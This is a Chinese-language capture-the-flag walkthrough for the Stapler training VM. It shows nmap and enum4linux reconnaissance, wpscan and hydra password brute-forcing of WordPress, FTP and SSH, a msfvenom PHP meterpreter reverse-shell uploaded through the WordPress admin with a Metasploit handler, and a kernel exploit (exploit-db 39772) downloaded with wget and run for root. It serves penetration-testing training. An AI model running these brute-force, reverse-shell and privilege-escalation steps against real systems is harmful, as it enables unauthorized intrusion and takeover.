-
-
[原创]CTF实战篇(Stapler靶机)
-
发表于:
2020-11-25 12:40
8222
-
@
( )
*注:请严格遵守网络安全法,本文章以培养网络安全人才为核心。
*
Stapler 靶机
用户破解所需要的信息
1 2 3 | 我们先准备一个kali自带的密码破解字典文件
ls / usr / share / wordlists / rockyou.txt
|
第一种思路
我们先对靶机进行nmap扫描
登录ftp获取信息
1 2 | 把收集的信息保存起来
root@rocky:~ / work / exam / stabler
|
1 2 3 4 5 6 7 8 | nmap - A - O - sV 192.168 . 195.128
ftp 客户端
Name ( 192.168 . 195.128 :root): Anonymous (匿名登录)
get 下载
put 上传
echo "Elly" >> user_stapler.txt
echo "john" >> user_stapler.txt
|
尝试登录ssh收集零碎可用信息
ssh 192.168.195.128
信息收集
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | User - agent: *
Disallow: / admin112233 /
Disallow: / blogblog /
https: / / 192.168 . 195.128 : 12380 / robots.txt
ctrl + u 查看页面的源码
robots 协议 网络蜘蛛 robots.txt
wordpress - - 构建个人博客常用的工具
Googol Wappalyzer - - Web站点分析器 [谷歌浏览器的一个插件]
作业安装Wappalyzer插件(我将它下载到了Firefox)
|
我们来介绍一下Wpscan
wpscan是一个专门用来做web安全评估/漏洞扫描的工具
1 2 3 4 5 6 7 | 枚举wordpress版本
漏洞检测
列出wordpress插件
基于字典的密码破解
wpscan - - url https: / / 192.168 . 195.128 : 12380 / blogblog / - - enumerate u - - disable - tls - checks 指定扫描的网址
- - enumerate u 枚举用户
- - disable - tls - checks 禁用tls检查
|
wpscan枚举出的用户收集起来
1 2 3 | 创建wp_stapler.txt
把wpscan弹出的用户列表的东西复制到wp_stapler.txt里
grep '+' wp_stapler.txt | awk '{print $2}' >>stapler_user.txt
|
工具:enum4linux
Information gathering via shares (共享)
共享服务,使用SMB(服务器消息块)协议
用到的445,139端口
用于枚举Windows和samba主机中的数据
其枚举结果可能包含目标系统的用户帐号、组帐号、共享目录、密码策略等机密重要信息
1 | enum4linux 192.168 . 195.128
|
1 2 3 | 创建文件 1.txt
awk - F "\\" '{print $2}' 1.txt | awk '{print $1}' >>stapler_user.txt
|
作业:你知道常见的samb服务相关的漏洞吗?
Nikto web扫描工具
1 2 3 4 5 6 7 8 | 开源的web扫描工具
可问题及对Web服务器做录遍历以及问题检查(是否有漏洞)
用法:
nikto - host http: / / 192.168 . 195.128 : 12380
- host 指定扫描的主机
- nossl 不使用SSL
- o 指定输出的文件(可以把扫描的结果输出到指定文件)
|
暴力破解
使用自定义的对FTP口令进行暴力破解
实验环境准备:
1.kali
2.stapler--要能DHCP获取IP地址
3.准备好口令字典
1 2 | / usr / share / wordlists / rockyou.txt
zcat rockyou.txt.gz > rockyou.txt
|
4 收集用户信息文件【ftp上有】 stapler_user.txt
5 工具目录 【mkdir -pv /root/work/exam/stapler】
实验用到的构建工具
hydra
0x01介绍
Hydra v9.1(c) 2020 by van Hauser/THC & David Maciejak
用户登录口令破解工具
支持多种网络登录协议
0x02 用法
hydra -h 查看帮助
-e nsr
-l 登录用户名
-L 登录用户文件
-P 口令文件
hydra
海德拉( hydra )是黑客组织thc的一款开源密码攻击工具
用户登录口令破解工具 支持多种登录协议
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | n 空口令
s 用户名和登录密码一样
r 登录密码和用户名相反
- l 登录用户名
- L 登录用户文件
- P 指定字典文件
- t 同时运行的任务数(默认 16 个)
0x03 案例场景
root@rocky:~ / work / exam / stabler
hydra - e nsr - L stapler_user.txt 192.168 . 195.128 ftp
hydra - e nsr - L stapler_user.txt 192.168 . 195.128 ssh - t 4
root@rocky:~
进入系统首先尝试提权,然后查看系统的版本,收集系统的信息
sudo su -
lsb_release - a
并对系统的版本信息进行漏洞查询
|
普通用户提权
利用Linux漏洞进行本地提权
1 2 3 4 5 | uname - r 查看内核版本
4.4 . 0 - 21 - generic
lsb_release - a 查看系统发行版本
SSH 和SSL的版本
ssh - V 查看ssh的版本信息
|
1 2 3 4 | searchsploit ubuntu | grep "16.04"
https: / / www.exploit - db.com / ubuntu 16.04
wget https: / / github.com / offensive - security / exploitdb - bin - sploits / raw / master / bin - sploits / 39772.zip
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | 将漏洞用scp拷贝到靶机的普通用户中
scp 39772.zip SHayslett@ 192.168 . 195.128 :~
通过scp把漏洞利用代码拷贝到远程主机SHayslett用户家目录下
scp:是ssh客户端的安全地远程复制
scp 源 目标
远程主机即可以是源,又可以是目标
远程主机的格式,用户名@远程主机地址:目录,如
SHayslett@ 192.168 . 195.128 :~
SHayslett@red:~$ unzip 39772.zip
cd 39772 进入解压后的目录
SHayslett@red:~ / 39772 $ tar - xf exploit.tar 把包文件进行解压
进入到解压后的目录
compile .sh doubleput.c hello.c suidhelper.c
compile .sh
. / doubleput
cd / root / 切换到root家目录
cat flag
|
第二种思路
破解HTTP登录口令
主题:对站点进行暴力破解
判断网站的cms对渗透又什么意义
查找网上已曝光的程序漏洞。
如果开源,还能下载相对应的源码进行代码审计。
利用已知的web应用漏洞渗透目标系统
wappalyzer 插件可以检测出cms信息
常用的cms(内容管理系统)系统:
一个成熟相对安全的CMS,渗透时对站点进行目录扫描的意义?
敏感文件,二级目录扫描
站长的误操作比如:网站备份的压缩文件,说明.txt,二级目录可能存放着其他站点
对站点进行HTTP登录的暴力破解
1 2 3 | wpscan - - url https: / / 192.168 . 195.128 : 12380 / blogblog / - - enumerate u - - disable - tls - checks
并获取到其登录页面
https: / / 192.168 . 195.128 : 12380 / blogblog / wp - login.php
|
0x01 收集用户信息
1 2 3 4 5 | wpscan - - url https: / / 192.168 . 195.128 : 12380 / blogblog / - - enumerate u - - disable - tls - checks
wpscan - - url https: / / 192.168 . 195.128 : 12380 / blogblog / - P / usr / share / wordlists / rockyou.txt - t 50 - - disable - tls - checks
- P 指定字典文件
- t 指定同时运行的任务数
- U 指定破解的用户
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | 为了加快演示
grep incorrect / usr / share / wordlists / rockyou.txt >wp_pass.txt
root@kali3:~ / work / exam / stapler
xiaoxiao
123456
incorrect1
passisincorrect
incorrect0
incorrectpassword
incorrecto
incorrecta
incorrect9
incorrect2
incorrect!
incorrect
wpscan - - url https: / / 192.168 . 195.140 : 12380 / blogblog / - - disable - tls - checks - U john - P wp_pass.txt - t 50
john - - - 高权限用户
密码:incorrect
|
利用权限高的john用户登录管理后台
通过安装新的插件功能来上传木马
0x01 生成一个具有反向连接的PHP木马程序
使用msfvenom 生成可执行程序,反向连接控制端,控制端可以时metasploit(msf) 平台或者其他服务程序
工具:msfvenom
使用msfvenom生成可执行程序,反向连接控制端,控制端可以是metasploit(msf)平台或者其它服务程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | msfvenom - p php / meterpreter / reverse_tcp lhost - 192.168 . 195.77 lport = 4444 - f raw - o webshell.php
随后查看cat webshell.php
- p 选择一个载荷(payload),或者说一个模块。
- lhost 监听主机的地址 - - 控制端(Kali的地址)
- lport 监听端口 - - 控制端监听的端口
- l 载荷列表
- f 生成的文件格式
- e 编码方式
- i 编码次数
- b 在生成的程序中避免出现的值
- h 帮助
- o 指定生成的文件
msfvenom - l
msfvenom - - list formats
msfvenom - p php / meterpreter / reverse_tcp - - list - options
/ / 查看指定payload (php / meterpreter / reverse_tcp) 所支持的选项
|
设置后门程序
1 2 3 4 5 6 7 8 9 10 11 | 上传php后门程序
https: / / 192.168 . 195.128 : 12380 / blogblog / wp - content / uploads /
点击 webshell.php
在控制端(kali) 使用handler模块建立侦听的准备
创建反向连接
msf>use exploit / multi / handler
msf exploit(multi / handler) set payload php / meterpreter / reverse_tcp
msf exploit(multi / handler) set lhost 192.168 . 195.77
msf exploit(multi / handler) set lport 4444
msf exploit(multi / handler) exploit
|
运行一下webshell.php 就进入 Meterpreter并且得到普通用户的权限
1 | python - c 'import pty;pty.spawn("/bin/bash")'
|
lsb_release -a # 查看系统版本
uname -r #查看内核版本
在kali架设一个HTTP服务器,让远端系统拿到
1 | python - m SimpleHTTPServer 8888
|
切换到一个可以写入的目录,如/tmp
wget http://192.168.195.77:8888/39772.zip #下载漏洞程序
1 2 3 4 5 6 | tar xf exploit.tar
ls
cd ebpf_mapfd_doubleput_exploit
. / compile .sh
. / doubleput
cd / root /
|
拿到旗标
第三种思路
漏洞利用
1 2 3 4 | 查找到 2017 年披露的可远程执行代码的漏洞
CVE:
2017 - 7494
|
open metasploit
进入后记得配置对端IP地址与攻击端口
切记 攻击端口号一定要改为139
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课